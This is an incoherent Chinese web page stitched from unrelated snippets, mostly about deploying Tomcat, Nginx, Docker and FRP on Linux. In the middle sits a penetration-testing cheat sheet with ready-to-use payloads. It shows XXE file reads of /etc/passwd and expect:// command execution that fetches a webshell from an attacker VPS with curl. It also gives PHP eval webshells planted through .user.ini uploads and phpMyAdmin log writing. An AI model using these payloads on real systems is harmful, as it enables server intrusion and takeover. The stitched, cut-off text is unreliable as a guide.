地址 ：https://code.visualstudio.com/Download
Tomcat是一个开源的Java Servlet容器，它实现了Java Servlet和JavaServer Pages（JSP）规范。在Linux系统上安装和配置Tomcat可以为Java Web应用程序提供服务。
为防止操作权限不足，建议切换root用户，当然如果你对Linux命令熟悉，能够自主完成权限更新操作，可以不考虑此推荐。
1.准备工作 2.在Linux下安装Tomcat8.0 3.Linux中配置tomcat的服务器启动和关闭和配置tomcat的开机启动 4.给tomcat配置用户名和密码登录 5.使用IDEA打包Maven托管的WEB项目 6.将JavaWeb项目发布到Tomcat8.0下面并且访问展示
因为Linux和Java像开源。所以，现在在server基本上使用部署Linux平台即server。然后部署项目。在开发项目的过程中。程序员绝大多数仍采用最经典windows操作系统，尽管Linux也有系统的桌面，为人民，还是不太习惯。持Linux平台。所以在使用的频率那是相当的少！
创建web项目（我自己使用vs2017 ，如使用vscode的需要自己安装windows的SDK和使用dotnet命令）
前面我们已经尝过了在云服务器上部署代码的甜头了，现在主菜就要上场了，那就是将我们的 JavaWeb 项目部署到云服务器上。兴奋吧？淡定淡定~
github地址： https://github.com/besimorhino/powercat
其实部署网站非常简单，而且有非常多的花样。这篇文章就给大家分享几种主流的前端 / 后端项目部署方式吧！
Mycat系统参数 Mycat日志 Mycat监控 Mycat物理节点 SQL 表分析 SQL监控 高频SQL监控 SQL解析 ---- 命令汇总 java -version wget http://apache.fayea.com/zookeeper/zookeeper-3.4.8/zookeeper-3.4.8.tar.gz ll zookeeper-3.4.8.tar.gz tar -zxvf zookeeper-3.4.8.tar.gz cd z
小编说：Web服务器是连接用户浏览器与Python服务器端程序的中间节点，在网站建立的过程中起着重要的作用。目前最主流的Web服务器包括Nginx、Apache、lighthttpd、IIS等。Python服务器端程序在Linux平台下使用最广泛的是Nginx。
欢迎阅读本篇博客，本文将为您提供关于如何搭建Tomcat 8.5环境的详细指南。Tomcat是一个流行的开源Java Servlet容器，它提供了一个运行Java Web应用程序的平台。无论您是新手还是有经验的开发人员，本文都将帮助您轻松地搭建Tomcat 8.5环境。
服务器上Linux的登录账号一般都是root，密码是你自己设置的密码，如果是Liunx在虚拟机上，那账号和密码就是你的登录的账号和密码。
Nginx是Linux和BSD用户中最受欢迎的web服务器之一，因为它具有丰富的功能指令集和优越的灵活性。如果您是一名Web开发人员，那么您可能正在使用Nginx或Apache服务器。因此，深入了解Nginx如何从命令行工作是很重要的。幸运的是，您可以通过掌握一些Nginx命令来提高DevOps技能。我们的编辑为您选择了这些经常使用的命令，并为启动Linux管理员提供了全面的讨论。那就请你阅读本文以了解关于这些命令的更多信息。
大家好，我是洋子。上一篇文章《docker 快速入门指南》介绍了Docker的概念，安装Docker方法以及Docker的常用命令，并且在上篇内容当中，我们都是使用docker pull命令直接拉取阿里云镜像仓库里面提供的官方镜像
对于机器名，请务必不要包含arcgis.com，诸如xxx.arcgis.com, xxx.xxarcgis.com, xxx.arcgisxx.com都禁止作为机器名。
当使用cmd /V:ON或cmd /V:O时可以不使用call命令来扩展变量，使用 %var% 或 !var! 来扩展变量，!var!可以用来代替%var%
.net core 的运行环境我单独写了一篇，请看我的这篇文章[linux（centos）搭建.net core 运行环境]
网上找了一下好像没有合适的 DNSmasq WEB 界面，虽然 DNSmasq 配置已经足够简单了，但还是觉得 WEB 管理更加方便。
例四：列出目前工作目录下所有名称是 s 开头的档案，愈新的排愈后面，可以使用如下命令：
大家好，我是猫头虎博主！最近，我收到了一些关于如何在Linux服务器上定位Nginx和理解其配置文件的问题。为此，我决定深入研究并为大家提供一篇详尽的指南。在这篇文章中，搜索：Nginx的位置、配置文件路径、server和location配置块的详细解释等等。希望这篇文章能帮助你更好地理解Nginx！
项目部署其实非常的简单，尤其是 java 项目。最近微信群里有网友，初学者还未毕业，问我 Java 项目是如果部署的？
笔者最近折腾docker服务比较多，这几天想把在内网中的服务搬到公网当中，但docker对内存要求较高，而云服务高内存的服务器又比较贵，家里虽然有一台旧笔记本内存还可以，但是没有公网IP地址，视乎还是没有办法，就在纠结的时候想起FRP这个内网穿透软件，重新回顾了一下搭建方法，发现搭建步骤较为简单，为了以后有所参考，所以把搭建步骤详细记录了下来。
Holer exposes local servers behind NATs and firewalls to the public internet over secure tunnels.
注意：如下命令必须进入到Tomcat的bin目录才能执行。如果你配置好了环境变量就可以在任何路径下执行了。
在使用 docker 容器的时候，我们总会想看看容器内部长什么样子：我们使用 docker exec 命令可以满足我们的期望：
物理机时代，当我们的程序开发完成后，需要部署到服务器上，如果项目体量不大，部署在单台机器上也还可以，但是如果部署集群架构的项目，就很难了。
这时我们就不能看到输出了，如果我们既想把输出保存到文件中，又想在屏幕上看到输出内容，就可以使用tee命令了。
原文:https://blog.csdn.net/qq_54219272/article/details/124432402
好久没有更新学习的内容了，就是得强迫自己写点东西 记录自己的学习，才能更好的进步！
我们根据行业评论，您的反馈和自己的经验，准备了2018年最佳黑客工具的有用列表。 此列表将告诉您有关用于黑客目的的最佳软件，包括端口扫描程序，Web漏洞扫描程序，密码破解程序，取证工具，流量分析和社交工程工具。
无论是在渗透测试还是ctf比赛中我们都可能会遇到目标应用把用户的输入当做系统命令或者系统命令的一部分去执行的情况。
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行，做一个简单改造即可使用。对比如下： 改造前： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径：SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后，再加上回显位置即可成功利用，完整载荷示例： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种，通过上传webshell来。 利用前提：知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上，直接寄。 1）使用python托管webshell python -m http.server 8088 2）下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析： curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代，没啥好说的，常规思路。 下载url不能带协议 下载url用单引号包裹，如果是-o方式，保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多，.user.ini是php给用户的自定义配置文件，可将指定文件按照php脚本文件的形式解析。 介绍：https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程： 1）上传.user.ini filename：.user.ini Content-type：image/jpeg 文件正文： GIF89a auto_prepend_file = aaa.jpg 2）上传webshell filename: aaa.jpg Content-type：image/jpeg 文件正文： GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包： 文件——导出分组解析结果——为纯文本 通过notepad++解码： 提取所有注入数据包，此处使用notepad++中的标记功能，查找模式设置为正则表达式。 提取出来以后，找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后，用英文的逗号隔开，然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提：知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
GPFS文件系统能够横跨在所有主机上，分布在所有磁盘上，条带化读写，高性能。信令管理机制，并发性好。可配置failgroup组，可用性高。下面是GPFS集群的部署过程......
突然想起来以前想要写的一个小小的总结，看一下 Tomcat 的文件目录的构成，以便更好的去使用（纯属自己想看一下）。
在windows下，tomcat启动之后有一个黑窗口，很容易看到System.out.println或ex.printStackTrace这样的函数输出，非常方便调试，但是在linux下，没有这样的窗口，所以给我们调试带来了一定难度。
在黝黑的终端窗口中输入命令，这样的方式对某些人群来说可能好像过时了，但对许多专业计算机人员来说，这几乎是计算机完成能够执行的所有任务的最有效、最简便和最清晰的方式。如今，一些项目将开源命令引入了 macOS 和 Windows 等非开放平台，因此终端命令不仅仅是针对 Linux 和 BSD 用户，更是与每个人都息息相关。你可能会惊讶地发现，在一台普通的 POSIX 计算机上安装了数千个命令，当然，其中很多命令并不是真的有用，至少不是直接或经常性被使用。而其中的一部分命令虽然不是有效终端必须使用的命令，但相比其他命令而言使用频率较高，值得大家学习一下。
H3C交换机super命令设置的口令用于低级别用户向高级别用户切换时进行验证，类似于UNIX系统和Linux系统中从普通用户转换到root帐户时须输入super进行切换。华为网络设备的命令级别共分为4级。
Tomcat：是一个开源免费的Web应用服务器，性能稳定，是目前比较流行的Web应用服务器，是java语言编写的，所以必须运行在有java的环境上
当我们拿到一个webshell的时候，我们能够执行一些命令，但是这些命令都是非交互的，也就是说不存在上下文的概念。当我们想使用vim、top等命令时，webshell就无能为力了。
部署Spring Boot项目可以使用Maven命令mvn:clean package将项目打包成只执行的jar文件，然后使用命令java -jar XX.jar来执行。但这样做无法将shell命令行释放，关闭terminal后项目也随之关闭了。这里介绍在Linux系统中后台运行Spring Boot jar文件的方法。
每个 OSCP 考生，都拥有 24 小时的时间（实际是 23 小时 45 分钟）去完成考试，具体如何分配时间由考生自己决定。题目是 5 台主机（随机抽取），目标是攻入并拿到最高权限（ROOT/SYSTEM）。基于难度级别，成功执行的攻击会获得相应的积分。
服务是可以使用 HTTP API 进行动态修改 (HTTP API 可以用来进行动态的添加，删除，修改服务)
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
